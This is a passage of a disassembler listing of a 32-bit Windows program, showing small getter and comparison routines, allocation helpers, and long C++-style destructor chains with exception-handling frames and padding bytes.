		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167C0	proc near		; CODE XREF: sub_401F8Cj
		mov	eax, [ecx]
		retn
sub_4167C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167E0	proc near		; CODE XREF: sub_4017DFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4167E0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416800	proc near		; CODE XREF: sub_401EBAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_416800	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416830	proc near		; CODE XREF: sub_401866j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_416830	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416850	proc near		; CODE XREF: sub_401E15j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4020EA
		add	esp, 8
		retn	8
sub_416850	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416880	proc near		; CODE XREF: sub_401401j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_3
		pop	ecx
		retn	4
sub_416880	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168A0	proc near		; CODE XREF: sub_401618j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4168A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168C0	proc near		; CODE XREF: sub_4012CBj
		mov	eax, [ecx]
		retn
sub_4168C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168E0	proc near		; CODE XREF: sub_401E74j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4168E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416910	proc near		; CODE XREF: sub_40125Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41692B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41692B:				; CODE XREF: sub_416910+11j
		retn
sub_416910	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416960	proc near		; CODE XREF: sub_40205Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41697B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41697B:				; CODE XREF: sub_416960+11j
		retn
sub_416960	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4169B0	proc near		; CODE XREF: sub_4020EAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_4169CB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_4169CB:				; CODE XREF: sub_4169B0+11j
		retn
sub_4169B0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
aRrrrrrrrrrrrrr	db '',1Bh,0
		align 4
		dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 449118B9h
		dd 0B436E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
		dd 416A6068h, 116CE800h, 0C3590002h, 90909090h,	4 dup(0CCCCCCCCh)
		dd 449118B9h, 0B1EEE900h, 9090FFFEh, 90909090h,	4 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_416A80:				; CODE XREF: ___:00401C58j
		push	0FFFFFFFFh
		push	offset loc_43B2E1
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+9FD83h]
		mov	dword ptr [esp+10h], 1Ah
		call	sub_4021FD
; ---------------------------------------------------------------------------
		lea	ecx, [esi+9FD6Ch]
		mov	byte ptr [esp+10h], 19h
		call	sub_401226
		lea	ecx, [esi+9FD57h]
		mov	byte ptr [esp+10h], 18h
		call	sub_401226
		lea	ecx, [esi+9FD42h]
		mov	byte ptr [esp+10h], 17h
		call	sub_401226
		lea	ecx, [esi+9FD2Dh]
		mov	byte ptr [esp+10h], 16h
		call	sub_401226
		lea	ecx, [esi+9FC42h]
		mov	byte ptr [esp+10h], 15h
		call	sub_401F00
		lea	ecx, [esi+9FC31h]
		mov	byte ptr [esp+10h], 14h
		call	sub_401771
		lea	ecx, [esi+9FBFFh]
		mov	byte ptr [esp+10h], 13h
		call	sub_402013
		lea	ecx, [esi+9FBCDh]
		mov	byte ptr [esp+10h], 12h
		call	sub_401E06
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+10h], 11h
		call	sub_401889
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+10h], 10h
		call	sub_401113
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401F46
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401B3B
		lea	ecx, [esi+9FA13h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_4017DA
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_4018D9
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401ECE
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_402239
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+10h], 9
		call	sub_4017AD
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+10h], 8
		call	sub_401A32
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+10h], 7
		call	sub_4013C5
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+10h], 6
		call	sub_401235
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+10h], 5
		call	sub_401EA1
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+10h], 4
		call	sub_4014FB
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+10h], 3
		call	sub_401AFA
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+10h], 2
		call	sub_401CA3
; ---------------------------------------------------------------------------
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+10h], 1
		call	sub_401938
		lea	ecx, [esi+3Eh]
		mov	byte ptr [esp+10h], 0
		call	sub_401447
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401262
; ---------------------------------------------------------------------------
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416CF0:				; CODE XREF: ___:00401E60j
		push	0FFFFFFFFh
		push	offset loc_43B4C1
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+8], esi
		call	sub_4020BD
; ---------------------------------------------------------------------------
		lea	ecx, [esi+3Eh]
		mov	dword ptr [esp+14h], 0
		call	sub_4015E6
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+14h], 1
		call	sub_40129E
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+14h], 2
		call	sub_402018
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+14h], 3
		call	sub_401A00
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+14h], 4
		call	sub_401587
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+14h], 5
		call	sub_40164F
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+14h], 6
		call	sub_401780
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+14h], 7
		call	sub_40169F
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+14h], 8
		call	sub_40182F
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+14h], 9
		call	sub_4016BD
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+14h], 0Ah
		call	sub_40141F
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+14h], 0Bh
		call	sub_401302
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+14h], 0Ch
		call	sub_401271
		lea	ecx, [esi+8F51Fh]
		mov	byte ptr [esp+14h], 0Dh
		call	sub_401D25
		lea	ecx, [esi+9FA13h]
		call	sub_4012FD
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+14h], 0Eh
		call	sub_401A91
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+14h], 0Fh
		call	sub_401285
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+14h], 10h
		call	sub_401CB7
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+14h], 11h
		call	sub_402121
; ---------------------------------------------------------------------------
		mov	byte ptr [esp+14h], 12h
		lea	ecx, [esi+9FBCDh]
		call	sub_40157D
		lea	ecx, [esi+9FBFFh]
		mov	byte ptr [esp+14h], 13h
		call	sub_401799
		lea	ecx, [esi+9FC31h]
		mov	byte ptr [esp+14h], 14h
		call	sub_401069
		lea	ecx, [esi+9FC42h]
		mov	byte ptr [esp+14h], 15h
		call	sub_401073
		lea	ecx, [esi+9FD2Dh]
		mov	byte ptr [esp+14h], 16h
		call	sub_40142E
		lea	ecx, [esi+9FD42h]
		mov	byte ptr [esp+14h], 17h
		call	sub_40142E
		lea	ecx, [esi+9FD57h]
		mov	byte ptr [esp+14h], 18h
		call	sub_40142E
		lea	ecx, [esi+9FD6Ch]
		mov	byte ptr [esp+14h], 19h
		call	sub_40142E
		lea	eax, [esp+7]
		lea	ecx, [esi+9FD83h]
		push	eax
		mov	byte ptr [esp+18h], 1Ah
		call	sub_401B0E
; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416F70	proc near		; CODE XREF: sub_401262j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_416F70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401B1D
sub_416F70	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+4]
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416FE0	proc near		; CODE XREF: sub_401938j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_416FE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+179Fh]
		mov	[esp+14h+var_4], 3Ch
		call	sub_40208B
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_40208B
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_40208B
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_40208B
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_40208B
		mov	byte ptr [esp+14h+var_4], 37h
		lea	ecx, [esi+0E51h]
		call	sub_401023
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401023
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401023
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401023
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401023
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401023
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401023
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401023
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401023
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401023
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401023
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401023
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401023
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401023
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401023
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401023
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401023
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_401AE6
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_401AE6
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_401AE6
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_401AE6
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_401AE6
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_401AE6
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_401AE6
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_401AE6
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_401AE6
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_401AE6
		mov	byte ptr [esp+14h+var_4], 1Ch
		lea	ecx, [esi+84Eh]
		call	sub_401AE6
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_401AE6
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_401AE6
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_401AE6
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_401AE6
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_401AE6
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_401AE6
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_401AE6
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_401AE6
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_401AE6
		lea	ecx, [esi+574h]
		mov	byte ptr [esp+14h+var_4], 12h
		call	sub_401AE6
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_401AE6
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_401AE6
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_401AE6
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_401AE6
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_401AE6
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_401AE6
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_401AE6
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_401AE6
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_401AE6
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_401AE6
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_401AE6
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_401AE6
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AE6
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AE6
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AE6
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AE6
		mov	byte ptr [esp+14h+var_4], 1
		lea	ecx, [esi+9Bh]
		call	sub_401AE6
		lea	ecx, [esi+52h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AE6
		lea	ecx, [esi+9]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AE6
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_416FE0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417500	proc near		; CODE XREF: sub_4014FBj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417500
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0A3h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417500	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4175A0	proc near		; CODE XREF: sub_401EA1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4175A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+118h]
		mov	[esp+14h+var_4], 5
		call	sub_401023
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4175A0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417670	proc near		; CODE XREF: sub_401235j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417670
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8D0C0h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+8D036h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+8D008h]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417670	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417730	proc near		; CODE XREF: sub_402239j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417730
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417730	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4177F0	proc near		; CODE XREF: sub_401ECEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4177F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4177F0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4178B0	proc near		; CODE XREF: sub_4018D9j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4178B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4178B0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417920	proc near		; CODE XREF: sub_4017DAj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417920
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417920	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417990	proc near		; CODE XREF: sub_401B3Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417990
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417990	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417A00	proc near		; CODE XREF: sub_401F46j
		add	ecx, 4
		jmp	sub_401023
sub_417A00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417A20	proc near		; CODE XREF: sub_401113j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417A20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+60h]
		mov	[esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417A20	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417AA0	proc near		; CODE XREF: sub_401E06j
		add	ecx, 4
		jmp	sub_401023
sub_417AA0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



